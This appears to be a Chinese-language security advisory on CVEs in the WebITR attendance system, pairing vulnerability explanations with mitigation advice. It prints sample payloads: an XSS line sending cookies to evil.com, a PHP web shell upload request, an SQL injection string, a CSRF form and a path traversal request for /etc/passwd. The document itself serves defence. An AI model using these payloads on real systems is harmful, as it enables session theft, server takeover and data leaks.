WebITR 差勤系統安全漏洞分析與防禦建議

凱發科技 WebITR 差勤系統 2_1_0 系列近期曝出多項高風險漏洞，攻擊者可利用 SQL 注入、XSS、CSRF、任意檔案上傳、授權繞過、檔案讀取等手段取得系統控制或洩露敏感資料。以下將針對已公布 CVE 進行技術拆解，並提供即時修復與長期防護建議。

漏洞概覽

CVE-2023-48392 – SQL Injection (WebITR 2_1_0_23)
CVE-2023-48393 – Cross‑Site Scripting (XSS)
CVE-2023-48394 – Cross‑Site Request Forgery (CSRF)
CVE-2023-48395 – 任意檔案上傳
CVE-2025-13768 – 授權繞過 (Authorization Bypass)
CVE-2025-13769 – SQL Injection (WebITR 2_1_0_33 以前)
CVE-2025-13770 – SQL Injection (同上)
CVE-2025-13771 – 任意檔案讀取 (Relative Path Traversal)

上述漏洞大多依賴未經驗證的參數或缺乏檔案類型驗證，攻擊者可在已登入環境內執行任意 SQL、注入惡意腳本、偽造請求或取得系統檔案。

技術拆解 & 影響範圍

1. SQL Injection（CVE‑2023‑48392、CVE‑2025‑13769、CVE‑2025‑13770）

📂 收合（點我收起）

# 典型注入範例
-- <input name='user_id' value='1 OR 1=1'>
SELECT * FROM users WHERE id = '$user_id';

若未使用參數化查詢，攻擊者可讀取、修改或刪除資料庫中的任意資料，進而取得管理權或竊取員工個資。

2. XSS（CVE‑2023‑48393）

📂 收合（點我收起）

# 典型 payload
<script>fetch('https://evil.com?cookie='+document.cookie)</script>

可在管理介面或報表頁面執行，竊取使用者 session 或注入後門。

3. CSRF（CVE‑2023‑48394）

📂 收合（點我收起）

# 典型偽造請求
<form action="https://webitr.example.com/update" method="POST">
  <input type="hidden" name="status" value="approved">
  <input type="submit" value="Click">
</form>

當已登入使用者瀏覽惡意網頁時，系統會自動提交變更，造成帳戶設定被篡改。

4. 任意檔案上傳（CVE‑2023‑48395）

📂 收合（點我收起）

# 典型上傳流程
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=...
--...
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php

<?php system($_GET['cmd']); ?>

若未檢查檔案類型與大小，攻擊者可置入 PHP/ASP 等後門，直接取得伺服器控制權。

5. 授權繞過（CVE‑2025‑13768）

系統未正確驗證使用者身分，攻擊者可改寫參數以假冒任意使用者登入。

6. 任意檔案讀取（CVE‑2025‑13771）

📂 收合（點我收起）

# 典型路徑遍歷
GET /download?file=../../../../etc/passwd HTTP/1.1

可下載系統內部檔案，造成機密資訊外洩。

防禦建議

立即升級至官方最新版本（WebITR 2_1_0_34 或更高）。
若無法即時升級，採用下列緩解措施：
- 所有輸入參數使用參數化／預備語句。
- 對所有輸出進行 HTML/JavaScript 編碼，避免 XSS。
- 在敏感操作前加入 CSRF Token，並檢查 Referer/Origin。
- 檔案上傳時僅允許預設白名單 MIME 類型，限制檔案大小，並在伺服器儲存前重新命名。
- 使用嚴格的權限控制，最小權限原則；授權繞過修補前限制高權級帳號的 API 存取。
- 對檔案下載功能加入白名單路徑與檔名校驗，防止路徑遍歷。
定期執行安全掃描與滲透測試，確認漏洞已被移除。
建立異常偵測機制，監控可疑 SQL、檔案上傳與檔案下載日誌。
教育使用者與管理員，避免點擊可疑連結或上傳未知檔案。